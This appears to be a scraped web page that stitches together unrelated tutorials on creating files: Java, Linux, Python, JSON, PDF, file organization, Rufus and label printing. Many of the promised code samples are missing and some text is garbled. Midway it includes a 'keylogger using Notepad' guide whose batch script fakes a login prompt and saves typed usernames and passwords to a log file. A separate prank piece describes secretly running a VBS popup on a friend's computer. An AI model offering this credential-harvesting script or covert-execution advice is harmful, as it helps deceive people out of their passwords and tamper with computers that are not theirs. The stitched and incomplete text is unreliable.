When file does not exists.

When file already exists.

Java FileOutputStream

A file Output stream writes data to a file. Java FileOutputStream class also provide support for files. It belongs to the package. It stores the data into bytes. We use FileOutputStream class when we need to write some data into the created file. The FileOutputStream class provides a constructor to create a file. The signature of the constructor is:


name: is the file name

append: if true, byte will be written to the end of the file, not in the beginning.


In the following example, we have created a file using FileOutputStream.


Java File.createFile() method

The File.createFile() is a method of File class which belongs to java.nio.file package. It also provides support for files. The nio package is buffer-oriented. The createFile() method is also used to create a new, empty file. We don’t need to close the resources when using this method. It is an advantage. The signature of the method is:

Path: The path of the file.

Attribute: An optional list of file attributes.

Organizing your computer files can feel like an impossible chore.

But you’re wasting your time and your productivity every time you have to search through your computer for a specific file you need. Though getting started might take some work, organizing your computer will make things easier in the long run.

Keep reading to learn how to organize computer files in an efficient way.

Don’t Save Files on Your Desktop

You shouldn’t store any files on your desktop. While it might seem convenient, it’s not an organized way to keep track of your documents. As you fill the desktop up with more and more files, it’ll get harder to find what you’re looking for.

Instead, use your desktop for temporary storage. If you know you’ll be working on a specific document for several days, you can leave it on the desktop so it’s easy to reach. As soon as you’re done with it, you should move that file to a different location.

Create a “Root” Folder for All Your Files

This is the folder will hold all your files and other information. If you use a Windows computer, you could stick with the default location called “My Documents.”

Keeping all your documents in the same place means you always know where they are. You don’t have to search for something in an obscure location or worry about losing important information.

Put Folders Inside Your Folders

Leaving all your files in one large folder won’t do a better job organizing them than the desktop. That’s why you need to create new folders inside your root folder.

For example, a student might make a folder named “Fall Semester 2018.” Inside this folder, they could put other folders named after their specific school classes. Someone who owns a business might make a file called “Invoices”. Inside this folder, they might create folders called “2017,” “2018,” or “2019.”

But don’t go overboard.

Complex layers of folders can get confusing. It’s easy to lose one folder inside of another if you have too many different folders piled up.

Make Naming Folders Easy

Make the names of your folders clear and simple. Don’t use abbreviations unless you know with certainty you’ll remember what they mean in the future. So stay away from obscure names. Think of labeling these folders how you would label moving boxes or filing cabinet drawers.

Organize As You Go

You should always file your documents as soon as you create them. Don’t save something with a default name and leave it in a random folder somewhere. Get used to clicking the “Save AS” button so you can both name everything right away and put it where it’s supposed to be.

Backup Your Files Frequently

You never know when something could happen to your computer. Backing up your files means you always have another copy of your documents even if you lose them.

And these backups shouldn’t be few and far between. Find a backup method that works for you, and make backing up your documents a frequent habit.

How to Organize Computer Files

Learning how to organize computer files might take some getting used to, but it can save you a lot of time and trouble in the long run. Instead of searching for the document you need, you’ll know exactly where to find it every time.

Want to stay organized in other parts of your life? Take a look at these apps that might help.

How to create a computer file

A .desktop file is simply a shortcut that is used to launch application in Linux. Without the .desktop file, your application won’t show up in the Applications menu and you can’t launch it with third-party launchers such as Synapse and Albert.

Most applications, when installed, will create the .desktop file automatically and place themselves in the Application menu for quick access. However, if you compile a program from source or download an app in archive format, this may not be the case and you may have to open the terminal to execute the binary every time you want to use it. Obviously, this can become a very tedious and troublesome step.

This article will describe how you can create a .desktop file for any application you use that you can launch from the Application menu.

Also read: How to Add App Drawers to Unity Launcher in Ubuntu

How to create Desktop launchers

A “.desktop” file is basically a simple text file that holds information about a program. It is usually placed in “

/.local/share/applications” or “/usr/share/applications/” depending whether you want the launcher to be accessible only for local account or for everyone. If you navigate to either directory in your File manager, you will see quite a few “.desktop” files that correspond to the installed apps on your computer.

For demonstration purposes, I will create a .desktop file for Super Tux Kart, a kart racing game which I like to play sometimes. A version is available in the Ubuntu repos, but this is often behind the latest stable version.

The only way to get the latest and greatest release is by downloading a tar archive, extracting it and executing a file which will launch the game.

Also read: How to Delete a Directory in Linux

You can follow along with whatever program you want to create a launcher for and it should work the same way.

Note: The following steps assume you have the archive for the program you want to create a launcher for in your “Downloads” folder.

1. Navigate to the directory where the archive is stored, right-click it and select “Extract here”.

How to create a computer file

2. Once the extraction is complete, Change to the newly created folder and find the executable. One you find it, right-click it click “Run” to launch the program, just to make sure it is working.

How to create a computer file

3. In some cases, you won’t see the “Run” option in the menu. This is often because the executable is a text file. You can get around this by executing it via the terminal or, if you use GNOME, click the Files menu in the top bar, and select “Preferences”.

How to create a computer file

4. Select the “Behavior” tab and choose the “Run them” option under “Executable Text Files”. Now the “Run” option should appear when you right-click the executable text file.

How to create a computer file

5. If you’ve confirmed that the application works when you launch it, you can exit it. Then launch your text editor and paste the following into the empty text file:

You need to change the “Exec” field to the path to the executable and “Name” field to the name of the application. Most programs would provide an icon somewhere in the archive so don’t forget to include that as well. In my case, the launcher file for Super Tux Kart looks like this:

How to create a computer file

6. Save the file in “

/.local/share/applications” folder as “application-name.desktop”. The “.local” folder is a hidden folder in your Home directory and you will have enable “Show Hidden Files” mode to view it. If you want it to be globally accessible, run the following command in the terminal:

7. Once done, just open the Applications menu on your desktop, and the application will be right there to use.

How to create a computer file

The method described here should work on all mainstream Linux based operating systems. Here’s another screenshot showing Super Tux Kart in elementary OS’s application launcher (slingshot)

How to create a computer file

Feel free to leave a comment below if you found this tutorial helpful.

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Ayo Isaiah is a freelance writer from Lagos who loves everything technology with a particular interest in open-source software. Follow him on Twitter.

Managing Your Documents. and Your Time

How to create a computer file

Keep your files at your fingertips!

Have you ever kept someone waiting while you searched the piles of papers on your desk for an important document? Or struggled to meet a deadline because you’ve lost a vital computer file?

Whether you work with paper documents, electronic files, or a mixture of both, it’s vital to keep them organized and accessible. That way you can save time looking for things, and always have the right information to hand when you need it.

Managing Information

When you receive a document from a co-worker, vendor, or customer, it’s tempting to “just put it away” in a pile on your desk or drawer, or to keep it in your email inbox or downloads folder. “Hmm. Looks interesting, but I’ll take a closer look at this later, when I’ve got more time.” Sound familiar?

After a while, many such documents build up, leading to clutter. And it becomes less and less likely that you’ll ever find time to go back and get all of that information organized.

Meanwhile, you can spend lots of precious time searching for documents that have got lost in all the mess.

So why not take a different approach, to ensure that you’re always confident of finding things when you need them?

Effective File Management

Here are seven ways to manage your documents and files efficiently and effectively:

1. Avoid saving unnecessary documents.

Don’t make a habit of saving everything that finds its way to you. Take a few seconds to glance through the content, and keep a file only if it’s relevant to your work activity, or required by your business. Having too many unnecessary documents adds to clutter and makes it harder to find things in the future.

2. Follow a consistent method for naming your files and folders.

For instance, divide a main folder into subfolders for customers, vendors, and co-workers. Use shortened names to identify what or who the folders relate to. You can even use color coding to make it easier to identify different categories of folders.

3. Store related documents together, whatever their type.

For example, store reports, letters, presentation notes, spreadsheets, and graphics related to a particular project in a single folder – rather than having one folder for presentations for all projects, another folder for spreadsheets for all projects, and so on. That way, you’ll be much faster finding documents for a particular project.

4. Separate ongoing work from completed work.

Some people prefer to keep current or ongoing work on their desk or computer desktop until a job is completed. Then, once it’s done, they move it to the appropriate location, where files of the same category are stored. At periodic intervals (for example, weekly or every two weeks), move files you’re no longer working on to the folders where your completed work is stored.

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By using this trick, you can record out the keystrokes in the PC very easily without any need of third party software. A keylogger is a type of surveillance software that has the capability to record every keystroke you make to a log file, usually encrypted. Every type of keylogger is dangerous as they can record your keystrokes, tracks your activity and can record the open sites. By this, your any account can be easily hacked by the hackers.

These keyloggers can detect your bank accounts passwords too. And these type of keylogger can also be created with the notepad text editor. So, let’s know how to create a keylogger using notepad

How To Create Keylogger Using Notepad

The method is very simple and easy and you don’t need any tool to do this but just a notepad to perform the task. So just follow the post below to proceed.

Creating Keylogger With Notepad:

Step 1. First of all, you need to open notepad in your windows by pressing Window button and then selecting the notepad from the options. Now in notepad copy and paste the below code in it.

@echo off
color a
title Login
echo Please Enter Your Email Address And Password
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here How to create a computer file Creating Keylogger With Notepad

Step 2. Now save this file as Logs.bat on your desktop.

How to create a computer file Creating Keylogger With Notepad

Step 3. Now create a new folder named logs. (Note that keylogger will only work if the folder name is logs). Cut the folder and paste it into drive C

Step 4. Now test your file Log.bat and then after entering the Username and password

How to create a computer file Creating Keylogger With Notepad

Step 5. Open the folder in C drive and see all saved key logs there as a text file created there automatically.

That’s it! you are done, you have successfully created a keylogger in notepad.


So above is all about How To Create a Keylogger Using Notepad. With this method, you can easily record out the keystrokes of your keyboard that had been entered in the batch file. And you also use it to shock your friends by telling them their username and password with this. Hope you like the post, don’t forget to share and leave a comment below if you have any related query.

Every file on your hard drive (.jpeg, .html, and the like) can be associated with a compatible program, which will open that file format by default. Some applications will change a format’s default association without your permission during installation. Not only is it annoying to have the wrong program launch when you open a file, but it can also put a real damper on your productivity. Changing the association so that the correct program opens, however, is a simple task that takes less than 5 minutes.

Step by Step

Step 1: Choose the application that you want to be the default. You can associate multiple programs with a specific file format, but Windows will use only the first program in the list to open the file automatically–that application is known as the default program.

If the default program is uninstalled, the second associated program will open the file instead. If a secondary association isn’t available and the default program is uninstalled, when you click the file a generic prompt will ask you to associate an application from a list of programs installed on your computer.

Step 2: Create group file associations. If you want a specific program, such as a certain Web browser, to handle all activity relating to that program, such as Web browsing, you can set it as the default application with the Default Programs feature. To create a default program association, click Start and type Default Programs into the search field, and then press Enter.

Click Set Your Default Programs. Choose an application from the list of apps, and then select Set this program as default.

Step 3: Create specific file associations. Let’s say that although you’re fine with Firefox as the default browser for all of your Web activity, you want specific graphics programs to take care of specific image formats–Photoshop for JPEGs and Paint for BMPs, for example.

To associate a specific file format to a specific program, right-click on a file of the type in question and choose Open With, and then select Choose default program. You’ll see a dialog box that lists all the applications installed on the computer that can open that particular file format. Choose the application you want to associate with the file, and then click OK.

For Windows 11/10/8/7

What’s Rufus?

Rufus should not be strange to most computer savvyВ who plays a lot and knows well about their computers and operating systems. Indeed, Rufus is a free and open-source portable application in small size for Microsoft Windows, and it provides experienced consumers with almost everything they need, including two of the most popular features. One is to low-level format a USB flash drive or memory stick, and the other is to create USB installation media from bootable ISO files of Windows, Linux, UEFI, etc.

About Rufus Bootable USB

The Rufus bootable USB feature is used to create bootable USB drives so you can clean install Windows operating system on a none-bootable computer that needs repairing or upgrading to a newer operating system like Windows 11.

The standard procedure of creating a Windows USB drive with Rufus requires an empty clean USB flash drive of 8GB bigger, and a downloaded ISO file of Windows 11 or Windows 10. In short, the USB drive’s capacity is at least equal to or larger than the ISO file. Turning a normal USB to bootable will completely remove data if there is any, so make sure that you’ve transferred the data to another drive to keep it safe if the USB flash drive is a used one.

How to Create A Bootable USB Using Rufus

As we mentioned, you can start using the Rufus bootable USB option when your case is involved in the following cases:

  • You need to burn a Windows 11 or Windows 10 ISO file to a USB drive
  • You need to create USB installation media for Windows 11 or Windows 10
  • You need to work with a computer with the startup issue
  • You need to boot a computer that does not have any OS installed

With those cases in mind, it’s useful to create a bootable USB drive so that you can install any supported Windows operating system (Windows 7 and later of both 32-bit and 64-bit) to be able to repair a computer, reinstall OS, or manually do a Windows upgrade.

Refer to the Rufus interface and 4-step guide to create a bootable Windows USB drive:

Step 1. Insert a USB drive (пјћ8GB)В В into your PC and Launch Rufus.

Step 2. Set Device to your USB drive and click SELECT to select the Windows 11/10/8.1/8/7 installation media.

Step 3. To format, set the Volume label and leave the File system and Cluster size to default.

Step 4. Click START and wait until Rufus creates a particular Windows installation media USB for you.

How to create a computer file

Bonus Tip: Bootable Windows USB vs. Portable Windows USB

After staying for a while with the Rufus guide, you should be clear that a Windows bootable USB drive carries a Windows installation file (ISO) so thatВ you can install a fresh, working and stable new Windows OS on your PC and laptop. However, sometimes your purpose of having a bootable USB drive is not for Windows installation, but a simple demand for a portable version of a desired operating system.В

If your request for a bootable Windows 11/10/8.1/8/7 USB drive is related to the following cases, you should try EaseUS OS2Go instead of Rufus:

  • You want to keep using the customized Windows OS on one computer to the other.В
  • You want to play Windows games on a Mac but don’t want to install Windows OS on your Mac.
  • You want to run the computer Windows OS in the office on your personal computer at home

In a word, when you want to make a copy of one Windows computer on a USB drive and use the USB drive on any other Windows computer or a Mac machine without taking time to install, there you go. EaseUS portable USB creator can make it happen very seamlessly.

For Windows 11/10/8/7

The way of making a portable Windows OS on a USB drive is to migrate the whole Windows OS installation, programs, data, preferences, and user accounts on the computer to the USB drive. So, the requirement of the USB drive’s capacity is based on the used space of the system drive. You can check the disk space for the Windows system drive (C:) at first, and find a proper USB drive to start with the below guide to create a portable Windows 11 or Windows 10 USB drive with EaseUS OS2Go.

Step 1. Install EaseUS OS2Go on your Windows computer, it will display your system drive’s used space. Plug in a USB drive that is larger than the systemВ drive used space.В Choose the targetВ USB drive and click Next to continue.

How to create a computer file

Step 2.В EaseUS OS2Go will notify you that the following operationВ would delete all data on your drive. Make sure that you have backed up all the important data. Click the Continue button to proceed.

How to create a computer file

Step 3.В Adjust disk layout. The default disk layout on the target drive will be exactly the same as the resource drive. You could also edit the layout according to your needs. Tick the option there if you’re using a Solid State Drive as the Windows bootable drive. Next, click Proceed.

How to create a computer file

Step 4.В Then EaseUS OS2Go will start to create the portable USB drive. It usually takes a while depending on your OS and Network condition. When the progress reaches 100%, the USB drive should be bootable now.

How to create a computer file

Step 5. Insert the portable Windows USB and start your computer. Press the required key (F2, DEL, F10. )В to access BIOS. Choose to boot from the USB disk.

Note: Please make sure that the boot mode (UEFI or Legacy) of the portable USB and your target computer are the same, otherwise you may not be able to boot.

by Avery Products

April 27, 2020

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Need to print labels for your file folders but not sure where to start? Don’t worry, we’ll walk you through the process step by step so that you can create the file folder labels that are right for you.

1. Plan your filing system

You likely already have a filing system in mind but make sure you know exactly how your file folders will be organized before purchasing your file folder labels. Take a step back and consider how many file labels you need to make and how often you use them every day.

Do your labels need to fit multiple lines of text? Would it be better if they were organized in categories? Do you spend a lot of time trying to reorganize file folders into the right spots after using them? Try to make a quick chart of your file folder system and see if color coding, different textures or printing icons would make your workflow easier.

Before you finalize the structure of your file folder label system, also think ahead and imagine how well your plan will adapt to your future needs. Looking for a few quick ideas? Check out our article on different types of file folder organization strategies to help you get started.

2. Measure the file folder tab

Once you know how your filing system will be organized it’s time for the next step: finding the right label size. Most file folder tabs will fit a standard 2/3″ x 3-7/16″ file folder label but it’s always a good idea to grab a ruler and double check. Some file folders may be designed to fit a larger 15/16″ x 3-7/16″ file folder label which provides extra space for printing.

Shop all of our file folder label options to choose the right one for your needs.

3. Choose your file folder label material

Standard, classic white labels are a reliable choice that work for any project. Most of the white label material used in Avery labels also include TrueBlock® technology which lets you easily reuse old folders by completely obscuring the print underneath the label. However, there are many other material types to keep in mind that can also help with your file folder organization.

Clear file folder labels have a shiny finish and virtually disappear when applied to the file folder.

Colored file folder labels feature a strip of preprinted color across the top of the label that can help you quickly sort through your file folders.

EcoFriendly file folder labels are created entirely with recycled material.

Removable file folder labels are perfect if you are constantly reusing file folders.

Looking for something a little more unique? Shop our wide catalog of label materials including kraft brown labels, waterproof labels and labels in a variety of colors.

4. Find the right file folder label template

The fastest way to find a template for Avery file folder labels is by searching for the 4-5 digit product code on our site. For example, you can find the template for our 2/3″ x 3-7/16″ white file folder labels by searching our site for the product number: 5366.

The product number will be on the front of the packaging but you can also find the template number on the sheet of labels as well. Once you are on the template page, you can download file label templates compatible with Microsoft Word, Adobe Photoshop, Apple Pages and more.

You can also customize each label with our design software, Design & Print Online. Our free online software provides blank and predesigned templates that can be personalized with text as well as tools to import data from spreadsheets, create sequential numbers, upload custom images and much more.

5. Printing your file folder labels

Once you’re happy with your design and ready to print, make sure your printer settings are set correctly for the best results. Make sure that the printer is set for the right sheet size and that the paper type is set to print on labels.

Also confirm that you’re printing the template at “Actual Size” and that the template is not being resized to fit the sheet. We would highly recommend printing on a blank sheet of paper first to make sure that your print will be aligned and scaled correctly. If your test print looks good then you’re ready to start printing your file folder labels.

A JSON file stores the data and object in the JSON format. A JSON ( JavaScript object notation )format is a standard format to store and exchange data. Initially, JSON file is only used to exchange the data between the web application and server. Now, it is used for many purposes such as to take and restore the data backup.

Users can create a JSON file with the .json extension. It is a simple text-based and human-readable file that we can edit and read in the compatible text editor. JSON file doesn’t take too much space to store the data as it is a plain text file.

How to create JSON files?

Before we learn to open the JSON files, we need to create them. To create a sample JSON file follow the below basic steps.

  1. Open the text editor on your computer.
  2. Create a new file and save it.
  3. Users need to save files with the .json extension.
  4. Copy the below sample JSON code and paste into a file and save it again.

Sample JSON code:


How to open JSON files?

We have created a sample JSON file successfully. In this section, we will discuss tools to open JSON files.

Cross-platform to open JSON files: Generally, users can open the JSON file in any text editor as it is a plain text-based file. The Google Chrome and Mozilla Firefox web browsers are cross-platform to open JSON files that are compatible with every operating system (OS). Users can follow the below steps to open JSON files in Chrome or Firefox browsers.

  • Right-click on the JSON file.
  • Choose open with option from the menu.
  • From the drop-down menu either choose Chrome or Firefox.

How to create a computer file

  • If you are not able to find the chrome in-app menu, click on Choose another app. Here, you will find chrome and firefox listed.

The user will see the following output when the JSON file will open in the browser.

How to create a computer file

A user can open and edit JSON files with any text editor from the above table. If users do not want to download any tools or applications to open JSON files, they can edit them with online tools. Users should have a working internet connection to edit JSON files online.

Edit JSON files online

  • Open any browser and search for ‘Online JSON editor ‘.
  • Click on the first link in the result.

How to create a computer file

  • The JSON editor is open and you can read files from the local computer. You can also edit JSON files and save them locally or to the cloud.
  • Online tools like these save you from having to download offline tools.

PDF stands for Portable Document Format and it is the most popularly used file saving format. Normally, the files that are created in Microsoft Word, Excel, or PowerPoint are converted into PDF once they are completely written. This conversion to the PDF offers the following benefits:

  • It enables the documents to be printed easily with accurate formatting.
  • Since the files in PDF are hard to edit and modify, hence the private and confidential documents are mostly saved as PDF.
  • Reading eBooks, using PDF is very convenient.

In this article, we will explain to you the method through which you can create a PDF file using Windows 10.

Creating a PDF File in Windows 10

In order to create a PDF file in Windows 10, you need to perform the following steps:

Double-click on the Microsoft Word document, which you want to convert to the PDF. This will launch the Word document as shown in the following image:

How to create a computer file

Click on the File tab to launch the following window:

How to create a computer file

Now click on Save As and choose a folder to save your file.

How to create a computer file

As soon as you will click on a folder to save your document, the following window will pop up:

How to create a computer file

Now click on the dropdown list corresponding to the “Save as type” field as shown in the image below:

How to create a computer file

Select PDF from the dropdown list and then click Save as shown in the following image:

How to create a computer file

Now you can view your document as PDF as shown in the image below:

How to create a computer file


By following the steps described in this tutorial, you can convert any document whether it is in Microsoft Word, Excel, or PowerPoint format into PDF. As an alternative method, you can use the Microsoft PDF printer driver. PDF will enable you to share your documents conveniently. It increases the portability and security of your documents. It will remove any hindrance that might occur otherwise while printing your documents.

This is a very simple, but very funny prank to play on your friends using Windows.

Step 1 Creating the file

Begin creating this prank file by opening up a text document in your word editor program.

Once you have opened the text document copy this into the document:


msgbox”whatever you want the popup to say”


Type what you want the popup to say in-between the quotes where it says “whatever you want your popup to say”. If you want the popup to switch between two different popups, you would simply modify the script like this:


msgbox”whatever you want the first popup to say”

msgbox”whatever you want the second popup to say”


Then, type in-between the quotation marks on both messages. You can make as many different popups as you want, all you have to do is add more msgboxes.

Step 2 Saving the file

When you have completed Step 1, click on File at the top left-hand corner, click on Save As and save the name as .vbs and save it to all files, then Save it. You should now have an icon on your dektop. Do not click on this unless you want the popup on your screen.

Step 3 Moving the file onto a portable memory storage device

Plug in the portable memory storage device (flash drive) that you want to save this file to and open it on your computer, then drag the file from your desktop onto it and safely eject the device.

Step 4 Prank your friends

The next time you go to a friends house or are going to be on a computer somewhere with them, take your flash drive, wait until they are not looking (or they go to the toilet or something), and plug in your USB flash drive, drag the file to their desktop, un-mount your storage device and quickly open the file on their computer. Then just have fun watching them trying to get rid of the popup.

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In this article, we will learn to create a file in the Linux/Unix system using the terminal. In the Linux/Unix system, there are the following ways available to creating files.

  1. Using the touch command
  2. Using the cat command
  3. Using redirection operator
  4. Using the echo command
  5. Using the heredoc
  6. Using the dd command

1. Create a file in the Linux/Unix system using the touch command.

The touch command is used to create file/files without any content and update the access date or modification date of a file or directory in the Linux system. This is the simplest way to create a file in Linux/Unix using the terminal.


The general syntax of the touch command is as follows:

Create a file using the touch command in Linux/Unix system.

In this example, using the touch command we can create a file in the Linux system. Before executing the touch command, we will check that how many files available in our current directory using the below command.

After using the below command a new file created newfile.txt in the current directory.

Example :

How to create a computer file

To ensure that the file is created or not we will again execute the ls command to list the directory contents.

2. Create a File in the Linux/Unix system using the cat command.

The cat (concatenate) command is used to create, view, concatenate files in the Linux operating system. The touch command is also used to create a file in a Linux system without content whereas the cat creates files with some content. The cat command reads the content of a file and prompts it.


The general syntax of the cat command is as follows:

Create a file with some content using the cat command in Linux/Unix system.

To create a file with some content, we use the cat command and file name after that write some content and press CTRL + C when writing is complete as shown below.

Example :

Display contents of the files using the cat command in the Linux system.

The cat command is also used to view the contents of the file. After using the cat command along with the file name contents of the file will be prompt as shown below.

3. Create a file in the Linux/Unix system using a redirection operator.

In the Linux/Unix system a redirection operator is also used to create a file.

Example :

How to create a computer file

4. Create a file in the Linux/Unix system using the echo command.

The echo command is also used to create a new file in the Linux system.

Create a new file without contents in the Linux system using the echo command.

To create a file without contents, we use the echo command with a redirection operator followed by the file name as shown below.

Example :

How to create a computer file

Create a new file with some contents in the Linux system using the echo command.

To create a file with some contents, we use the echo command followed by the text, a redirection operator, and the file name as shown below.

How to create a computer file

5. Create a file in the Linux/Unix system using heredoc.

heredoc stands for here document. The heredoc delimiter is a type of redirection. It allows passing multiple lines of input to a command.

The general syntax of heredoc. Important

Create a file with multiple lines of contents using a heredoc delimiter in the Linux system.

To create a file using heredoc, we use the cat command with heredoc delimiter in the Linux system as shown below.

Example :

How to create a computer file

6. Create a file in the Linux/Unix system using the dd command.

The dd command is mainly used to converts and copy files. To check more details about the dd command. We can also create a large file using the dd command.

Create a large file in the Linux system using the dd command.

To create a large file, we use the dd command as shown below.

Updated May 3, 2022

Python File Handling

In Python, there is no need for importing external library to read and write files. Python provides an inbuilt function for creating, writing, and reading files.

In this file handling in Python tutorial, we will learn:

How to Open a Text File in Python

To open a file, you need to use the built-in open function. The Python file open function returns a file object that contains methods and attributes to perform various operations for opening files in Python.

Syntax of Python open file function

  • filename: gives name of the file that the file object has opened.
  • mode: attribute of a file object tells you which mode a file was opened in.

More details of these modes are explained below

How to Create a Text File in Python

With Write to file Python, you can create a .text files (guru99.txt) by using the code, we have demonstrated here:

Step 1) Open the .txt file

  • We declared the variable “f” to open a file named guru99.txt. Open takes 2 arguments, the file that we want to open and a string that represents the kinds of permission or operation we want to do on the file
  • Here, we used “w” letter in our argument, which indicates Python write to file and it will create file in Python if it does not exist in library
  • Plus sign indicates both read and write for Python create file operation.

Step 2) Enter data into the file

  • We have a for loop that runs over a range of 10 numbers.
  • Using the write function to enter data into the file.
  • The output we want to iterate in the file is “this is line number”, which we declare with Python write file function and then percent d (displays integer)
  • So basically we are putting in the line number that we are writing, then putting it in a carriage return and a new line character

Step 3) Close the file instance

  • This will close the instance of the file guru99.txt stored

Here is the result after code execution for create text file in Python example:

How to create a computer file

How to Create a Text File in Python

When you click on your text file in our case “guru99.txt” it will look something like this

How to create a computer file

Example of how to create a text file in Python

If you want to open File Explorer from the desktop itself, you can create a custom File Explorer desktop shortcut in Windows. Here’s how.

You can open the File Explorer also known as the Windows explorer in several different ways. For example, you use the File Explorer icon on the taskbar or search for it in the Start menu. That being said, if you like to organize your desktop and open applications, files, and folders directly from there, having a dedicated File Explorer desktop shortcut will be handy. For whatever reason, Microsoft removed the Windows Explorer shortcut on the desktop in Windows 10.

The good thing is, you can easily create a desktop shortcut for File Explorer in several different ways. In this quick and simple guide, let me show you the steps to make a shortcut for File Explorer in Windows 10.

Note: The methods and steps given below will also work in Windows 7 and 8.

How to create File Explorer desktop shortcut

To create a File Explorer shortcut, we first need to find the explorer.exe file and create a shortcut using that. It is pretty easy. Follow the steps listed below.

  1. Right-click on the desktop and select “New → Shortcut” option.
    How to create a computer file
  2. In the shortcut window, add “C:\Windows\explorer.exe” in the blank field.
  3. Click “Next“.
    How to create a computer file
  4. Type “File Explorer” in the name field and click “Finish“.
    How to create a computer file
  5. You will have the File Explorer shortcut on the desktop.
    How to create a computer file

That is all. Double-click on the shortcut and the File Explorer will be opened immediately.

How to create a computer file

How to add ‘This PC’ File Explorer to desktop

For Windows Explorer or File Explorer on desktop, you can also add the “This PC” icon to the desktop. This PC icon is just the My Computer renamed. Just like with the My Computer icon, you can open File Explorer using This PC.

Follow these steps to add This PC to Windows desktop.

  1. Open the Settings with the “Win key + I” keyboard shortcut.
  2. Go to “Personalization“.
  3. Go to the “Themes” page.
  4. Click on the “Desktop icon settings” link under “Related Settings“.
  5. Select “Computer” checkbox.
  6. Click “Apply” and “Ok” buttons.
    How to create a computer file
  7. As soon as you save the changes, This PC icon is added to the desktop screen.

To open File Explorer, double-click on the This PC icon. The added benefit of This PC icon is that it gives useful options in the right-click menu. For example, you can open System Properties, map network drive, etc.

How to create a computer file

As you can see, it is pretty easy to create and add Windows Explorer shortcut to the desktop in Windows 10. Follow any of the above methods to create the File Explorer desktop shortcut and you will be done in no time. Just as with any shortcut, you can simply delete them when you no longer need their presence on the desktop. Just select the shortcut and press the Del key on your keyboard.

I hope the above steps helped you. If you are stuck or need some help, comment below and I will try to help as much as possible. If you like this article, check out how to open File Explorer as administrator and how to improve the File Explorer search.

How to create a computer file

What you’ll need

Easily convert Microsoft Word, Microsoft Excel, and Microsoft PowerPoint documents to PDF using the Create PDF tool in Acrobat DC. You can also convert documents without leaving the application using the Acrobat task ribbon in Office for Windows or the Print command in Windows or Mac OS.

Prerequisite: No matter which method you use, you must have the original Office application installed on your computer.

How to create a computer file

Method 1: Use the Create PDF tool in Acrobat DC

1. Open Acrobat DC. Click Tools, and then click the Create PDF tool to open it. Using the Create PDF tool, you can easily convert almost any file to PDF.

How to create a computer file

2. Select the file, and click Open. Acrobat displays a preview of your file.

If you’re using Windows, click Advanced Settings to customize the conversion settings for security, bookmarks, links, and accessibility. Then, click OK.

Sample files: Analysis.xls, or Overview.pptx (shown here)

How to create a computer file

3. Click Create. Acrobat creates the PDF file, saving it in the same location as the original file. It has the same name as the original file, but with a .pdf extension. Acrobat automatically opens the PDF file you created.

Tip: You can use the Create PDF tool to easily create PDF files from websites, clipboard contents, images, and other file formats too.

How to create a computer file

Method 2: Use the Acrobat task ribbon in Office (Windows only)

1. Open your Word, Excel, or PowerPoint document, if it’s not already open. Then click the Acrobat tab. In the Acrobat task ribbon, click Create PDF.

If you’re converting an Excel document, a second dialog box will appear with further options. Specify how much of the workbook to convert and the final page size, and then click Convert to PDF.

How to create a computer file

2. In the Save Adobe PDF File As dialog box, select View Result if you want Acrobat to open the PDF file after converting. Select Restrict Editing if you want to prevent the finished PDF file from being changed without your permission. Click Options to specify other conversion settings, such as whether to create bookmarks or tag the PDF file for accessibility.

Tip: For further control over conversion settings, click Preferences in the Acrobat task ribbon.

How to create a computer file

3. Name the PDF file, and select a folder for it. Click Save. If you selected View Result, the PDF file immediately opens in Acrobat.

How to create a computer file

Method 3: Print from an Office application

1. Open your Word, Excel, or PowerPoint document, if it’s not already open. Then, choose File > Print. In the Print dialog box, specify any settings, such as which pages to include in your PDF.

How to create a computer file

2. How you print to PDF at this point is a little different in Windows and Mac OS:

In Windows, choose Adobe PDF from the Printer pop-up menu. Click Printer Properties to customize conversion settings, and click OK. Then, click Print.

In Mac OS, choose Save as Adobe PDF from the pop-up menu at the bottom of the Print dialog box. In the Save As Adobe PDF dialog box, select a PDF settings file, and choose whether to open the file in Acrobat. The default values usually work fine here. Click Continue.

How to create a computer file

3. Name the file and choose a folder for it. Then, click Save.